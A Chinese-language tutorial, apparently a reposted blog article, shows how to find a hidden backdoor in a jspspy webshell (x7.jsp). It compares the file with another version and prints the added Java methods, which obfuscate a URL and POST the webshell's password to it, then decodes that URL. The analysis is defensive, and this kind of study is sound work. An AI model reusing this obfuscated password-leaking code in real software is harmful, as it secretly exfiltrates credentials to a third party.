這篇文章主要介紹了如何查看webshell的后門,具有一定借鑒價值,感興趣的朋友可以參考下,希望大家閱讀完這篇文章之后大有收獲,下面讓小編帶著大家一起了解一下。
follow me
我們咋一看這不就是jspspy嘛

年輕人不要急我們先把整個項目download下來然后再好好分析看看通過文件大小比較x7.jsp和下面的xia.jsp發現x7.jsp比xia.jsp多了2kb已知xia.jsp也是一個版本的jspspy。

但是當我們分別打開x7.jsp和xia.jsp時試圖想找到是哪里多出來2kb時發現有點不切實際作為一個java的初學者我們似乎并沒有那么大的本事去通讀jspspy的各個功能模塊的代碼。于是乎我們可以通過windows自帶的命令去進行文本內容比較(emmmm,類似于linux下的diff命令)

利用管道符號將兩個jsp不同的地方重定向輸出至txt文檔中。

打開txt我們便開始分析很突然就發現有一個問題如下圖
請注意txt文檔的23行的代碼x7.jsp中又定義了一個變量sxm值就是PW的值。

那我們開始著重分析一下x7.jsp中新定義的這個sxm變量是拿來干什么的吧。
接著用編輯器直接ctrl+f在當前文件中查找sxm

直接轉向854行
發現有三個新的方法(就是C語言里面的函數)分別是uc()、dx()和FileLocalUpload()依次去定位查看這三個方法的代碼塊。
FileLocalUpload()方法
public static String FileLocalUpload(String reqUrl,String fckal,String recvEncoding) {
HttpURLConnection url_con = null;
String responseContent = null;
try {
URL url = new URL(reqUrl);
url_con = (HttpURLConnection) url.openConnection();
url_con.setRequestMethod("POST");
url_con.setRequestProperty("REFERER", ""+fckal+"");
System.setProperty("sun.net.client.defaultConnectTimeout", String.valueOf(connectTimeOut));
System.setProperty("sun.net.client.defaultReadTimeout", String.valueOf(readTimeOut));
url_con.setDoOutput(true);
url_con.getOutputStream().flush();
url_con.getOutputStream().close();
InputStream in = url_con.getInputStream();
BufferedReader rd = new BufferedReader(new InputStreamReader(in,recvEncoding));
String tempLine = rd.readLine();
StringBuffer tempStr = new StringBuffer();
String crlf=System.getProperty("line.separator");
while (tempLine != null) {
tempStr.append(tempLine);
tempStr.append(crlf);
tempLine = rd.readLine();
}
responseContent = tempStr.toString();
rd.close();
in.close();
}
catch (IOException e) {
}
finally {
if (url_con != null) {
url_con.disconnect();
}
}
return responseContent;
}dx()方法
public static String SysInfo="=?./..//:";
public static String dx() {
String s = new String();
for (int i = SysInfo.length() - 1; i >= 0; i--) {
s += SysInfo.charAt(i);
}
return s;
}uc()方法
public static String uc(String str) {
String c="\n\r"; long d=127, f=11, j=12, h=14, m=31, r=83, k=1, n=8, s=114, u=-5, v=5,a=0;
StringBuffer sb = new StringBuffer();
char[] ch = str.toCharArray();
for (int i = 0; i < ch.length; i++) {
a = (int)ch[i];
if(a==d) a=13;
if(a==f) a=10;
if(a==j) a=34;
if((a>=h) && (a<=m)) a=a+r;
if((a>=k) && (a<=n)) a=a+s;
if((a>=53) && (a<=57)) a=a+u;
if((a>=48) && (a<=52)) a=a+v;
sb.append((char)a);
}
return sb.toString();
}怎么辦看不懂啊。
不要慌~~ 看不懂不要緊我們可以直接把方法拿過來再處理一次只不過我不用FileLocalUpload()方法去處理我直接把sxm變量和uc()、dx()執行之后print輸出就行。所以自己寫寫代碼
import java.io.*;
import java.util.*;
class x7 {
public static void main(String[] args) {
String PW = "ttttt";
String sxm=PW;
System.out.println(uc(dx())+sxm);
}
public static String dx() {
String s = new String();
String SysInfo="=?./..//:";
for (int i = SysInfo.length() - 1; i >= 0; i--) {
s += SysInfo.charAt(i);
}
return s;
}
public static String uc(String str) {
String c="\n\r"; long d=127, f=11, j=12, h=14, m=31, r=83, k=1, n=8, s=114, u=-5, v=5,a=0;
StringBuffer sb = new StringBuffer();
char[] ch = str.toCharArray();
for (int i = 0; i < ch.length; i++) {
a = (int)ch[i];
if(a==d) a=13;
if(a==f) a=10;
if(a==j) a=34;
if((a>=h) && (a<=m)) a=a+r;
if((a>=k) && (a<=n)) a=a+s;
if((a>=53) && (a<=57)) a=a+u;
if((a>=48) && (a<=52)) a=a+v;
sb.append((char)a);
}
return sb.toString();
}
}寫完調試一下然后javac編譯一下發現不報錯就行。

接著執行一次看看

感謝你能夠認真閱讀完這篇文章,希望小編分享的“如何查看webshell的后門”這篇文章對大家有幫助,同時也希望大家多多支持億速云,關注億速云行業資訊頻道,更多相關知識等著你來學習!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。